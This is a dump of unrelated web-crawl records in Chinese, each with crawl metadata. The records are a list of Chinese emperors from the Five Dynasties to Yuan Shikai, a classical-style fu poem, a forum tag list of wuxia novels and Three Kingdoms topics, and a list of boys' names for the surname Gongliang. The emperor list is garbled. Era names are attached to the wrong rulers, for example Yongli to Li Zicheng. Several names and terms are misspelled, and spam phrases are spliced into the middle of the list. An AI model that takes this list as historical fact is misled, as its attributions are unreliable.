刘鋹 前蜀 高祖 王筑 后主 王衍 后蜀 高祖 孟知祥 后主 孟昶 辽 辽太祖 耶律阿保机 辽太宗 耶律德光 辽世宗 耶律阮 辽穆宗 耶律璟 辽景宗 耶律贤 辽圣宗 耶律隆绪 辽兴宗 耶律宗真 辽道宗 耶律洪基 天祚帝 耶律延禧 西辽 辽德宗 耶律大石 感天后 萧塔不烟 辽仁宗 耶律夷列 承天后 耶律普速完 辽末帝 耶律直鲁古 屈出律 宋 北宋 宋太祖 赵匡胤 宋太宗 赵炅 宋真宗 赵恒 宋仁宗 赵祯 宋英宗 赵曙 宋神宗 赵顼 宋哲宗 赵煦 宋徽宗 赵佶 宋钦宗 赵桓 南宋 宋高宗 赵构 元懿太子 赵旉 宋孝宗 赵眘 宋光宗 赵淳 宋宁宗 赵扩 宋理宗 赵昀 宋度宗 赵禥 宋恭帝 赵显 宋端宗 赵昰 宋帝昺 赵昺 西夏 太祖 李继迁 太宗 李德明 景宗 李元昊 毅宗 李谅祚 惠宗 李秉常 崇宗 李乾顺 仁宗 李仁孝 桓宗 李纯佑 襄宗 李安然 神宗 李遵顼 献宗 李德旺 末帝 李睍 金 金太祖 完颜旻 金太宗 完颜晟 金熙宗 完颜亶 海陵王 完颜亮 金世宗 完颜雍 金章宗 完颜璟 卫绍王 完颜永济 金宣宗 完颜珣 金哀宗 宛颜守绪 金末帝 完颜承麟 元( 孛儿只斤氏) 元太祖 铁木真 (成吉思汗) 元睿宗 拖雷 (监国) 元太宗 窝阔台 马乃真后 (称造) 元定宗 贵由 海丢失后 (称造) 元宪宗 蒙哥 元世祖 忽必烈 (薛禅汗) 元成宗 铁穆耳 (完泽笃汗) 元武宗 海山 (曲律汗) 元仁宗 爱育黎拔力八达 (普颜笃汗) 元英宗 硕德八剌 (格坚汗) 泰定帝 也孙铁木儿 天顺帝 阿速吉八 元文宗 图帖睦尔 (札牙笃汗) 元明宗 和世剌 元宁宗 懿璘质班 元惠宗 妥懽帖睦尔(乌哈图汗) 元昭宗 爱猷识理答腊 元益宗 脱古思帖木儿 明 明太祖 朱元璋 明惠帝 朱允炆 明成祖 朱棣 (庙号初为明 太宗) 明仁宗 朱高炽 明宣宗 朱瞻基 明英宗 朱祁镇 明代宗 朱祁钰 明宪宗 朱见深 明孝宗 朱佑樘 明武宗 朱厚照 明世宗 朱厚熜 明穆宗 朱载垕 明神宗 朱翊钧 明光宗 朱常洛 明熹宗 朱由校 明思宗 朱由检 顺 李自 成,年号永历 清 清太祖 爱新觉罗努尔 哈赤 清太宗 爱新觉罗皇太极 清世祖 爱新觉罗福临(顺治) 清圣祖 爱新觉罗玄烨(康熙) 清世宗 爱新觉罗胤禛(雍正) 清高宗 爱新觉罗弘历(乾隆) 清仁宗 爱新觉罗颙琰(嘉庆) 清宣宗 爱新觉罗旻宁(道光) 清文宗 爱新觉罗奕詝(咸丰) 清穆宗 爱新觉罗载淳(同治) 清德宗 爱新觉罗载湉(光绪) 清逊帝 爱新觉罗溥仪(宣统) 升平天囯 天王 洪秀全 幼天王 洪天贵福 中华民国 权且大总统孙中山 大总统袁世凯 中华帝国 中华帝国天子 袁世凯,年号洪宪,【】\"常州人游常州\"今夏采杨梅 就跟爱 更新:2019-03-07。年号隆武 昭宗 朱由榔,年号大顺 南明 安宗 朱由崧,年号永昌 大西 张献忠。","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/www.chelseacho.com\/huakaiyulezixun\/30.html","date":"2019-03-18T17:28:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912201521.60\/warc\/CC-MAIN-20190318172016-20190318194016-00110.warc.gz","language":"lzh","language_score":0.9650826454,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9650826454162598, \"cmn_Hani_score\": 0.014394520781934261, \"nan_Hani_score\": 0.01431189849972725}","num_words":1158,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.29,"stopwords_ratio":0.002,"flagged_words_ratio":0.0,"lang_id_score":0.979,"perplexity_score":500.0,"cluster_detection":1} +{"text":"【MBA 中国网讯】初朝霞之逞翼兮,维飞鹰以征西途。彼至于河之侧兮,伏长风吾以降。将夜火之相识兮,肇之脊以融洽。纷吾既之欲试兮,又恐崎岖相阻。夫呐喊以砥砺兮,曰前方以坦途。着正装以蓄势兮,随长鸣以奔先。随洪流之冲将兮,有我楚莹莹孑立。\n磨牙无思徒步兮,何不止乎其泪?康庄以发满志兮,缓缓而归迟暮。语在喉之将吐兮,虽欲诉而戛止。静谧难止微泣兮,起环顾而悱恻。望长天再起狂志兮,烽火燃而坚毅。修我战甲与戈矛兮,何惧幽昧险隘。同袍相随以效雁兮,来吾道夫先路。步愈坚而志愈盛兮,一骑绝尘远去。彼鏖战令苍失色兮,显英姿且放肆。携手相踏之一瞬兮,着我战旗高昂。\n登高台以挥荣耀兮,望沙鸥难止泣。\n纷奔走以影藏兮,留一瞬至永恒。诸将归来之功成兮,烹羔羊以为宴。\n别离已可预见兮,立痛哭而难止。再见之期既定兮,伴涕泗以欢颜。曲终回望挥手兮,道昱年以再还。","id":"","dump":"CC-MAIN-2019-43","url":"http:\/\/www.myzaker.com\/article\/5cda221b77ac64375f55d102\/","date":"2019-10-21T02:57:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987751039.81\/warc\/CC-MAIN-20191021020335-20191021043835-00455.warc.gz","language":"lzh","language_score":0.4636861086,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.46368610858917236, \"cmn_Hani_score\": 0.09839735925197601, \"nan_Hani_score\": 0.08538483083248138, \"zxx_Latn_score\": 0.05715193971991539, \"und_Cans_score\": 0.039064839482307434, \"jpn_Jpan_score\": 0.02394840680062771, \"yue_Hani_score\": 0.023331603035330772, \"und_Yiii_score\": 0.018381061032414436, \"wuu_Hani_score\": 0.016126595437526703, \"und_Grek_score\": 0.015341157093644142, \"und_Egyp_score\": 0.012075508944690228}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.302,"perplexity_score":500.0,"cluster_detection":1} +{"text":"所有標籤\n以下為所有討論主題標籤,你可以選擇喜歡的來看看大家在討論什麼?\n梅花鉤 于禁 刀白鳳 寧中則 太虛勁 游坦之 倚天屠龍記 花間十二支 玉女素心劍法 破碎虚空 翔鷹劍法 笑傲江湖 古墓派 清風十三式 曹純 關銀屏 玄慈 合淝之戰 練師 傻姑 魅影劍法 丁不四 天魅凝陰 任我行 萬物波動心法 左手刀法 天涯明月刀 歐陽克 三少爺的劍 裘千仞 夢姑 孤星傳 大地飛鷹 鄧芝 神龍教 吳國太 黃忠 群狐 鐵蒺藜骨朵 石中玉 臥龍 心佛掌 桃花島 楚留香新傳之新月傳奇 嫁衣神功 桃枝仙 華山派 明珠 一休 胡昭 法顯 全真教 定靜師太 曹丕篡漢 荊州 馬大元 流星鎚 鎖子縮骨功 涼州軍劫天子 黃蓉 丐幫 黃皓專權 呂壹專權 石破天 蔣濟 魅變術 空明拳 曹操攻徐州之戰 井中八法 永安之戰 邊荒傳說 大手印 破蓮八著 韓當 炎元真氣 公孫止 荀彧 高平陵之變 七傷拳 刑遁術 劉備稱帝 掃地僧 奼女心法 亡神十八掌 黃鍾公 月英 陳近南 笮融 銀龍手 無崖子 鍾會之亂 曹洪 龍吟曲 驚魂六記 壽春三叛 華陀針 桃葉仙 董卓討伐戰 玉女劍法 獨孤九劍 林平之 豔陽刃法 燎原百擊 五帝鐧 五行劍法 荀攸 樊城之戰 周泰 葵花寶典 趙敏 散手八撲 移玉大法 常伯志 連城訣 布衣神相 定閒師太 飛鶯飛鷹 白狼山之戰 南匈奴 齊桓公 夏侯淵 田伯光 隆中對 急風十三刺 魏滅蜀之戰 朱然 神鵰俠侶 伏虎神拳 扭轉乾坤殺手劍 呂蒙 赤壁之戰 九玄大法 尉遲恭 下邳之戰 胡斐 楚留香新傳之蝙蝠傳奇 貝海石 德川家康 趙半山 曾柔 陽頂天 尉遲敬德 韋小寶 逆水寒 七十二路分筋錯骨手 金錢幫 孫策 石雙英 關索 一串鞭 換日大法 飛龍五式 血戰十式 明玉功 幻影劍法 劉禪 遊俠錄 九月鷹飛 呂玲綺 張郃 武林外史 炎陽奇功 陸遜 袁承志 費禕 趙雲 韋小寶 星际浪子 黑鬼爪 丁典 郭芙 不死七幻 東方不敗 六脈神劍 枯禪玄功 王異 洪承疇 夷陵之戰 火併蕭十一郎 七殺拳 奪命十三劍 天龍八部 失魂引 決戰前後 慕容博 諸葛恪 勞德諾 蕭十一郎 阿朱 賭局 童子功十三太保橫練 武當派 羅憲 鐵脊蛇矛 鐵騎快劍 斷絕神功 達摩手 冷月寶刀 大唐雙龍傳 余魚同 逍遙拆 玉女媚術 曹休 奪命簪 霍青桐 九品中正制 誰來跟我乾杯 折花百式 賈詡 關羽 祝融 吳質 圓月彎刀 打狗棒法 內家橫練 蕭遠山 典韋 狄雲 合淝之戰 合淝新城之戰 星宿派 旋風十八矛 化石神功 先天功 鳥渡術 劍玄錄 徐天宏 崆峒派 張三李四 凌波微步 就地十八滾 尹克西 徐盛 變天擊地大法 史火龍 呂布 碧落紅塵 郭襄 大開碑手 四大名捕 荊楚爭雄記 瀟湘子 倪匡 西蜀地形圖 紫霞神功 水笙 金蛇郎君 恆山派 木婉清 曹操 儀琳 穿雲劍法 喬鋒 曹爽專權 絕情谷 橫煉罡 狼牙 滅絕師太 挾刀揉手 心硯 黃皓 范遙 死眷術 伏魔劍法 泰山派 峨嵋派 金丹大法 滿天花雨 硃砂掌 無相神功 夏姬 摘心手 上官鼎 披風杖法 張無忌 左冷禪 鬼王鞭 張三丰 七禽身法 蒼穹十三劍 戰神圖錄 丁春秋 神君別傳 倚天劍 梅超風 情人箭 諸葛誕 王語嫣 關平 流雲飛袖 歐陽鋒 種玉大法 五毒神功 段正明 霍都 關興 鮑三娘 馬謖 賈充 楚留香新傳之借屍還魂 殷離 黃天大法 曹操迎天子 長平公主 彈指神通 暴雨梨花釘 少林派 鳳天南 八賢王 謝遜 郭淮 諸葛亮 韓小瑩 李莫愁 第六天魔王 桃幹仙 織女劍法 大圓滿杖法 曹叡 星彩 挾天子 吳應熊 碧血洗銀槍 許褚 鳩摩智 覆雨劍法 紫血大法 劉表 覆雨翻雲 文鴦 郭嘉 呂布爭徐州 李元霸 諸葛亮北伐 鷹變十三式 法正 的盧 蔣幹 成昆 壽春馳援 彩環曲 四大惡人 鬼火十三拍 龐統 藍鳳凰 無塵道長 丹青生 大意失荊州 段正淳 十住大乘功 海大富 九陰真經 馬皇后 夏侯惇 太清元功 林遠圖 孫權建國 俠客行 天一掌 金絲綿掌 不死印法 孫權 青釭劍 夷陵之戰 南皮之戰 碧海潮生曲 儀琳 尼摩星 曹睿 迎風一刀斬 風鈴中的刀聲 漢中之戰 魯肅 青龍偃月刀 飄香劍雨 武夷派 起風了 無想奼女大法 建寧公主 尋秦記 武當掌法 楊康 桃谷六仙 孟獲 玩命拳 鍾靈 鄧艾 合肥之戰 楊頂天 段譽 天魔大法 紫氣天羅 程靈素 逍遙派 李廣 羊祜 滿地開花八十—式 張春華 東興之戰 蘇荃 宗預 方天畫戟 不碎金剛 桃花仙 華山論劍 孫皓 天魔心法 大喬 伏養氣功 魏晉玄學 破精自絕大法 蝶雙飛 阿九 曹仁 空綁術 黃祖 丹心術 滿寵 歸藏鞭 海神 蛤蟆功 屠龍刀 如意八打 柳絮劍法 碎金剛乘 沐劍屏 狂沙刀法 幽灵山庄 方證大師 小昭 鰲拜 吳起 郭馬之亂 怒劍狂花 竹節鞭 沉沙劍法 降龍十八掌 郭解 崑崙派 奕劍術 銅錘 大人物 冰玄勁 博望坡之戰 七流星 飛伏一百零八槍 孫堅 鴛鴦刀 賈南風 絕不低頭 姜維北伐 興勢之戰 黃蓋 禿筆翁 捨身大法 五絕神功 石亭之戰 甘寧 程普 靈犀一指 龍門鏢局 歸辛樹 岳靈珊 全真七子 徐榮 小鷹爪功 丁奉 東興之戰 羅漢伏虎拳 沙影二十八劍 二宮之爭 武田信玄 司馬昭 飛鷹十三刺 嵩山派 青龍會 楚留香新傳 馮錫范 金庸 任盈盈 洪七公 一扇十八搖 不戒和尚 章進 護花鈴 魯有腳 黯然銷魂掌 阿青 張大春 街亭 燕子三抄水 迷蹤七變 歸魂十八爪 風清揚 封天閉地 凌統 金輪法王 御盡萬法根源智經 日月麗天大法 太虛錯手 康熙 甄姬 白馬嘯西風 菊花的刺 奇功絕藝榜 定逸師太 五虎斷門刀 龐德 姑蘇慕容 大旗英雄傳 大元丹法 張翼 霍去病 張飛 陳家洛 鹿鼎記 天魔手七十二式 交阯之亂 王元姬 福康安 七殺手 郭靖 毛玠 子貴母死 九轉還童 閔柔 越女劍 雷霆刀法 先天氣功 公孫綠萼 五嶽劍派 倉亭之戰 陳到 金剛門 衛春華 孫策平江東之戰 道心種魔大法 黃權 孫尚香 降龍伏虎羅漢拳 蝴蝶穿花七十二式 鍾繇 張遼 黃藥師 牛郎一百零八棍 達爾巴 浣花洗劍錄 虛竹 丞相 天外飛仙 仇國論 文泰來 九難 飛燕七式 塌上策 夏侯嬰 白骨爪 無想十法 書劍恩仇錄 絕代雙驕 溫瑞安 張苞 水雲袖法 易京之戰 鄭丰 銀雕 刀劍雙殺七七四十九式 少林三渡 劍罡同流 太史慈 神蛛凌空銀絲渡虛 衡山派 九轉無相神功 日月當空 乾隆 丈八蛇矛 彼岸劍訣 天地明環 梅花鉤 小喬 九陽真經 魔心連環 大拍手 血海飄香 沖虛道長 索額圖 司馬懿 吸星大法 掩月劍法 北冥神功 古龍 地煞拳 十二都天神功 一燈大師 吳三桂 魏滅蜀之戰 七星龍王 三尸腦神丹 殭屍拳 楊修 楊逍 白自在 蕭摩訶 呂后 董卓 武當七俠 王重陽 吳六奇 司馬師 石清 衛青 袁紫衣 瘋魔上天下地一百零七撃 歡樂英雄 英雄無淚 雌雄雙股劍 建安文學 五毒教 袖裡乾坤 周芷若 李秋水 凝真九變 金蛇劍 日月神教 方怡 殘金缺玉 裂馬槍 黑白子 雙手互搏 程英 仙門劍訣 龜息功 楊儀 陳宮 玄鐵重劍 周瑜 康敏 趙志敬 潼關之戰 文醜 菩提心功 馬超 丁不三 江夏戰神 枯木神功 幻魔身法 名劍風流 阿紫 林朝英 戚芳 伊達政宗 曹丕 諸葛亮南征 劍氣書香 蒼穹神劍 碧血劍 嵩山十三太保 鍾會 九韶定音劍 姜維 絕代雙驕角色列表 君子劍 天山童姥 枯榮大師 霓裳仙舞 移花接玉 白世鏡 龍木島主 天地明環 慈航劍典 屯田制 流星蝴蝶劍 張召重 石田三成 常赫志 曹真 余滄海 徐晃 楚留香傳奇 張角 韋春花 飛狐外傳 淑女劍 滅神掌 空城計 汪劍通 夏青青 藏密智能書 雙修大法 廖化 呂母 東洋神風刀法 多情劍客無情劍 太極七截棍 長河正氣 五虎斷門刀 邊城浪子 白玉老虎 馬忠 摩尼教 雪山飛狐 馬岱 雙兒 九陽神功 射鵰三部曲 梁羽生 華山派 西陵之戰 白萬劍 月異星邪 血鸚鵡 玄鐵劍法 鴛鴦腿 譙周 完顏洪烈 飛天狐狸 男人見不得 紅花會 九字真言手印 曹丕伐吳 益州之戰 貂蟬 飛刀,又見飛刀 楊成協 天外流星 雲行雨飄 鬼魅潛蹤 蕭逸 令狐沖 阿珂 臥龍生 韋一笑 于萬亭 陸小鳳傳奇 青城派 一指頭禪 燕子雙飛 左慈 司馬昭弒君 兵器譜 連體心法 飛龍大九式 聖火令 風萍掌 慕容復 天心蓮環 王平 魅影身法 蔡文姬 周倉 徐庶 古龍作品 軟蝟甲 晉滅吳之戰 烏金血劍 謝煙客 神刀斬 楊過 定世鞭 曹操討伐袁術之戰 劍毒梅香 無念禪功 神州奇俠 劍花煙雨江南 孫曉 玄氣大法 雙尖軟矛 天鷹教 湘妃劍 石亭之戰 化骨綿掌 嫁衣神功 桃根仙 江南七怪 劍客行 金針開穴之法 樂進 官渡之戰 彭長老 莫大先生 回轉斧法三十式 逍遙訣 諸葛瞻 孫皓暴政 流星鎚 梵我如一 周伯通 小龍女 蔣四根 陸抗 桃實仙 蒼穹十三式 少林神拳 朱子柳 瑛姑 李典 白阿繡 武三通 裘千尺 擒拿截脈法 青松劍譜 界橋之戰 魏延 大武俠時代 天魔擊三大散招 陸無雙 丞相,起風了 劉備 紫微軟劍 夏侯霸 魔佛十式 三十六招鳥啄擊法 董允 丁璫 七种武器 蔣琬 耶律齊 駱冰 袁紹 辟邪劍法 李牧 岳不羣 穆念慈","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/www.herostory.tw\/alltags?from=hottags","date":"2019-12-15T13:06:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575541308149.76\/warc\/CC-MAIN-20191215122056-20191215150056-00138.warc.gz","language":"lzh","language_score":0.5900563002,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.590056300163269, \"nan_Hani_score\": 0.25269606709480286, \"cmn_Hani_score\": 0.12174969911575317, \"yue_Hani_score\": 0.032960809767246246}","num_words":825,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.593,"perplexity_score":500.0,"cluster_detection":1} +{"text":"公良(Gōng liáng)姓源流单纯,出自周朝公子良后代,以祖名为氏。在宋版《百家姓》中排序为第四百五十三位门阀,得姓至今已有两千六百多年的历史了。公良姓男孩怎么起名?下面小编带来公良姓男孩名字猪年,希望对大家有所帮助。\n公良慧平 公良同宁 公良志枫 公良思胤 公良俊骄 公良丘山 公良纹城 公良袁 公良文青 公良自然 公良彦铮 公良乔铭 公良煅坤 公良建省 公良琰娣 公良天成 公良春阳 公良一超 公良长远 公良慕蹊 公良舷慷 公良传海 公良丽荞 公良桓韬 公良佳伟 公良海庆 公良狰 公良嘉缕 公良国桂 公良素敏 公良可漫 公良雨枫 公良潍翰 公良翔锦 公良颖晖 公良元宝 公良笑涵 公良晓阳 公良琪菲 公良佳伦 公良非涵 公良靖雅 公良恩琪 公良钿淼 公良悠 公良艺凯 公良泓淳 公良洁力 公良宝玮 公良大建 公良狗 公良宜杭 公良昱旭 公良冰 公良孔樟 公良刚伦 公良紫雨 公良昭徽 公良怀荣 公良帧月 公良海宁 公良鹿瀚 公良碧华 公良疆豪 公良丽婉 公良小虞 公良忠鹏 公良美贤 公良徐高 公良亚琨 公良天黎 公良世 公良添译 公良慈 公良五洋 公良怀东 公良玉嘉 公良瑞斌 公良茗 公良一玄 公良懿 公良驿笾 公良华坤 公良晰今\n公良仲青 公良巧 公良坚锋 公良正峰 公良慧雯 公良永昌 公良海偌 公良林波 公良宗明 公良铜锤 公良纳抿 公良姗晓 公良文盈 公良旨庆 公良金荣 公良崇德 公良嘉鸣 公良仪萌 公良昊恬 公良伍辰 公良君乔 公良乔奕 公良永新 公良锐敏 公良吉菊 公良信伟 公良若萱 公良衍桐 公良爱铭 公良翰愈 公良运录 公良慧鸣 公良景龙 公良宛云 公良语勉 公良凡石 公良琬琪 公良思欣 公良彦丞 公良菡林 公良伟全 公良振龙 公良惜如 公良柏祥 公良舟杰 公良元辰 公良金浩 公良春联 公良行全 公良泽杨 公良小昕 公良蛸龙 公良贵雅 公良中隐 公良正祺 公良佳禾 公良伟宏 公良兰皖 公良来强 公良权业 公良仅开 公良铭扬 公良兰兰 公良钦贤 公良缦纱 公良靖霜 公良展颜 公良海熹 公良敏优 公良宽军 公良小涵 公良舒惠 公良智家 公良祖贤 公良存吉 公良祺继 公良安惠 公良永海 公良礼平 公良文鉴 公良粱淋 公良俞冕 公良芳菲 公良立斌 公良小郗 公良语轩 公良洁盈 公良瑷君 公良景涵 公良无极 公良贺义 公良童茵 公良益强 公良军心 公良鼎麟 公良寿龙 公良舒宁 公良方耀 公良溢 公良景昊 公良均岩 公良苡曦 公良奕瀚 公良雪霓 公良锦松 公良灵庆 公良轩宸 公良飞翔 公良智添 公良祯清 公良紫月 公良宝言 公良英姿 公良睿民 公良红昌 公良灵伶 公良润均 公良慎明 公良铖颢 公良俐卜 公良国光 公良羽轩 公良灵煜 公良海林 公良永尧 公良煌湟 公良翱咏 公良腾曦 公良泽桤 公良昊晔 公良争睿 公良秀娇 公良钿漳 公良骅芸 公良士涵 公良舒含 公良玉羚 公良以晴 公良源昊 公良文迪 公良林桂 公良木静 公良迎春 公良敬群 公良怀栋 公良宝荣 公良雁娇 公良家祺 公良和锐 公良巍涛 公良意海 公良昱霖 公良玺朝 公良晓伟 公良晋瀚 公良欣诺 公良忍 公良文钻 公良裕盛 公良倚 公良贞涛 公良海强 公良生礼 公良宇桐 公良靖百 公良福元 公良煌露 公良勇亨 公良诗冰 公良有钱 公良桂成 公良昱乐 公良雯沁 公良晋锋 公良凼璐 公良乔顺 公良欣荣 公良乙萱 公良潇苇 公良德清 公良治金 公良苑雅 公良连旧 公良宣 公良泽一 公良酲酲 公良车业 公良浩高 公良乔业 公良萱一 公良香如 公良子愉 公良于免 公良玺涞 公良和嘉 公良宇俊 公良明刚 公良绮绮 公良狗蛋 公良尚忠 公良亚波 公良雪影 公良恩棋 公良月荷 公良星宏 公良焰骊 公良水鱼 公良泽智 公良太囝 公良亚雯 公良宇灏 公良伊函 公良仕敏 公良优优 公良海吉 公良潼潼 公良永兴 公良呈天 公良健城 公良政涵 公良相君 公良孟珂 公良云宇 公良惠芹 公良东坡 公良嘉佟 公良彦锋 公良悟 公良世金 公良子衡 公良昕甜 公良新连 公良冬阳 公良键汰 公良姹漪 公良誉熙 公良清满 公良佑平 公良汶柄 公良瞵 公良旭敏 公良鑫杰 公良愉彗 公良欣翔 公良彦嘉 公良希平 公良晓俊 公良文岚 公良洪煊 公良世隐 公良钟薇 公良百苗 公良映日 公良敬炜 公良政羽 公良纯 公良吉芸 公良健飞 公良雅岚 公良紫俨 公良旭哲 公良诗羿 公良子轩 公良婕妤 公良思珞 公良思睿 公良阿欣 公良丽珊 公良柏苇 公良坤达 公良昊羽 公良锦南 公良昭凤 公良茉 公良熙新 公良贤琦 公良和斌 公良光勇 公良亦来 公良子兴 公良云柱 公良震宇 公良嘉兴 公良华伦 公良根傲 公良多煜 公良奕朵 公良宇飞 公良晓心 公良启晶 公良红林 公良彦皓 公良方正 公良繁慧 公良煦玎 公良洪义 公良金东 公良欣语 公良治亚 公良灵葳 公良金山 公良烨鑫 公良新村 公良康俊 公良潇越 公良轩瑞 公良矩杳 公良度振 公良楷妮 公良阿荣 公良华海 公良洁媚 公良小宪 公良彦桦 公良毅祺 公良韭葡 公良振甯 公良灵华 公良仕敬 公良玟清 公良昀远 公良仕沁 公良炜哲 公良晓骏 公良君楠 公良臭臭 公良采彦 公良杰儒 公良先才 公良三钻 公良诗祺 公良邦薇 公良坤 公良喜志 公良可雯 公良大量 公良羽俊 公良逸桐 公良跻成 公良兰雯 公良雨漩 公良亚云 公良家传 公良敏缵 公良京水 公良楦池 公良烁韬 公良树量 公良辞睿 公良泽旺 公良梦贤 公良润媚 公良跃秋 公良霓 公良远波 公良清葑 公良嘉昀 公良煌浠 公良禹卿 公良灿雯 公良蜜 公良火滚 公良文宾 公良芸 公良欲旺 公良同岐 公良易甜 公良增喜 公良魏东 公良同跃 公良华平 公良昱璞 公良永平 公良文珍 公良鼎林 公良伊彤 公良晓宁 公良仑 公良诗棋 公良焕琰 公良蕙枫 公良梦圆 公良汉昱 公良虹郦 公良小晶 公良蓣嘉 公良珂瑞 公良守智 公良天童 公良文德 公良五香 公良晓波 公良德喜 公良景芝 公良希林 公良锐滨 公良少航 公良艾嘉 公良多林 公良晓秋 公良若宸 公良忠崴 公良昊潇 公良有利 公良成卫 公良书兵 公良馨聋 公良鹏磊 公良林森 公良小秋 公良雨刚 公良存江 公良欣烨 公良云隐 公良孔楹 公良昱鹏 公良炎锐 公良长峰 公良韬 公良柏荣 公良筱开 公良志程 公良正仪 公良锦湍 公良博含 公良舜中 公良玉屏 公良馨垄 公良琅予 公良成熙 公良若淑 公良茗馨 公良泽橙 公良秦华 公良惠丹 公良祉齐 公良链播 公良耘轩 公良润珲 公良昊静 公良安吉 公良丞宣 公良文淳 公良念琦 公良永林 公良嘉明 公良灵祈 公良靖清 公良忠桥 公良美盈 公良程奕 公良子青 公良源岭 公良靖淑 公良旭华 公良一辉 公良奕涵 公良晨坚 公良贻斌 公良诗扬 公良漫演 公良芙湘 公良政宁 公良镥霖 公良浩峰 公良厚湘 公良东阳 公良滋 公良定春 公良沐泽 公良全波 公良耿哲 公良家林 公良成义 公良泽驹 公良郭利 公良佳名 公良呈财 公良戚 公良隐村 公良坡 公良涌 公良郗郗 公良遐凤 公良雨缈 公良庆坤 公良国珠 公良杨阳 公良臆 公良世晴 公良培江 公良跻贤 公良汶朴 公良皓铮 公良震中 公良浩观 公良文景 公良全心 公良吉梦 公良霭 公良小钧 公良滟 公良乐为 公良秀荣 公良正华 公良甫原 公良天龙 公良栖松 公良学锋 公良亚革 公良成泉 公良浩鹏 公良萸嘉 公良灵齐 公良涵梵 公良炫 公良雍海 公良亚霜 公良文铠 公良海飞 公良子成 公良笑羽 公良嘉旋 公良砚 公良筠玮 公良中飞 公良瑜巧 公良则良 公良熙轩 公良谚馨 公良柯权 公良焯贝 公良莛 公良秀敏 公良辰率 公良铸 公良宜麟 公良小桁 公良治均 公良筠益 公良棋西 公良嘉妮 公良连川 公良成熹 公良杰秉 公良彦鸿 公良禹雅 公良宏涛 公良狁 公良建翔 公良芸昭 公良煜玟 公良良平 公良鑫黎 公良翰霆 公良亦其 公良本江 公良玺成 公良踊 公良锐鸣 公良新全 公良若筠 公良跻辉 公良伊蕊 公良曜宏 公良文忠 公良峥翊 公良善兮 公良琦欣 公良坐 公良雨默 公良呈太 公良司琦 公良贵灿 公良盂绵 公良枭依 公良煌澄 公良荨荨 公良南松 公良家钦 公良靖玮 公良熙忻 公良小奇 公良雅维 公良则为 公良传容 公良苗阳 公良祥锟 公良丽湘 公良乔飚 公良端 公良云成 公良海虞 公良启复 公良加进 公良佩杰 公良雨露 公良科翔 公良汝秋 公良立帝 公良玮雯 公良炳权 公良琰芸 公良忠辑 公良礼妃 公良炯伦 公良淅 公良煜烤 公良煜蕊 公良颖秋 公良梦遥 公良维山 公良春菊 公良靖营 公良信维 公良卫斌 公良宇楠 公良光 公良泰和 公良韶熹 公良兰彬 公良子兮 公良心以 公良海亚 公良英秋 公良成基 公良奇芮 公良荣胜 公良晓露 公良亚静 公良政泽 公良朝敏 公良全林 公良丹一 公良忻昕 公良羽安 公良冬仪 公良越洋 公良奕佳 公良瑾玫 公良勇清 公良睿珂 公良探 公良冀旺 公良子慰 公良萧雅 公良颦慧 公良东生 公良隐生 公良旭平 公良海鹰 公良钰睿 公良海绕 公良荣达 公良琼乐 公良德贵 公良启任 公良其瑞 公良君侯 公良蛟 公良庆华 公良艺杉 公良松领 公良章永 公良德福 公良志彬 公良冠有 公良纵 公良晶予 公良俊宾 公良易茜 公良培治 公良京都 公良漪钿 公良英坤 公良宸慷 公良哲勤 公良翱成 公良曼影 公良林骤 公良久琬 公良秭语 公良艺菡 公良育民 公良廷琰 公良文钺 公良秉泽 公良国军 公良秀伟 公良梓玮 公良同建 公良金绪 公良兆娈 公良漉嶙 公良以炎 公良泰森 公良伟滨 公良肯婉 公良锬 公良来恩 公良志天 公良智光 公良靖童 公良韵磊 公良泱泱 公良天笑 公良孝达 公良封赋 公良纨 公良凤学 公良航宇 公良艳彬 公良大迪 公良同庆 公良童杨 公良鸿园 公良云宵 公良月珊 公良熨 公良柔晓 公良馨蝶 公良博熙 公良涵韵 公良俊青 公良劲辉 公良运淑 公良志彤 公良栩达 公良瑜彤 公良俊州 公良翰臣 公良凡希 公良钰侦 公良伽烨 公良佳芯 公良春雅 公良国浩 公良晓菲 公良依含 公良宸阅 公良杭云 公良渝平 公良丽田 公良敬卓 公良国锋 公良育娴 公良秋翔 公良翔翔 公良募尧 公良羿宇 公良秋畅 公良馥瑞 公良庆伟 公良若航 公良保华 公良承伦 公良昕程 公良宇龙 公良伊晗 公良丽玮 公良攀 公良俊城 公良博汶\n关键词: 男孩起名","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/www.guangdongpost.com\/nanhaiqiming\/48.html","date":"2019-12-16T14:10:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540565544.86\/warc\/CC-MAIN-20191216121204-20191216145204-00220.warc.gz","language":"lzh","language_score":0.525871098,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5258710980415344, \"yue_Hani_score\": 0.2384980171918869, \"cmn_Hani_score\": 0.17681382596492767, \"nan_Hani_score\": 0.03177853673696518, \"wuu_Hani_score\": 0.01978684775531292}","num_words":851,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.202,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.529,"perplexity_score":500.0,"cluster_detection":1} 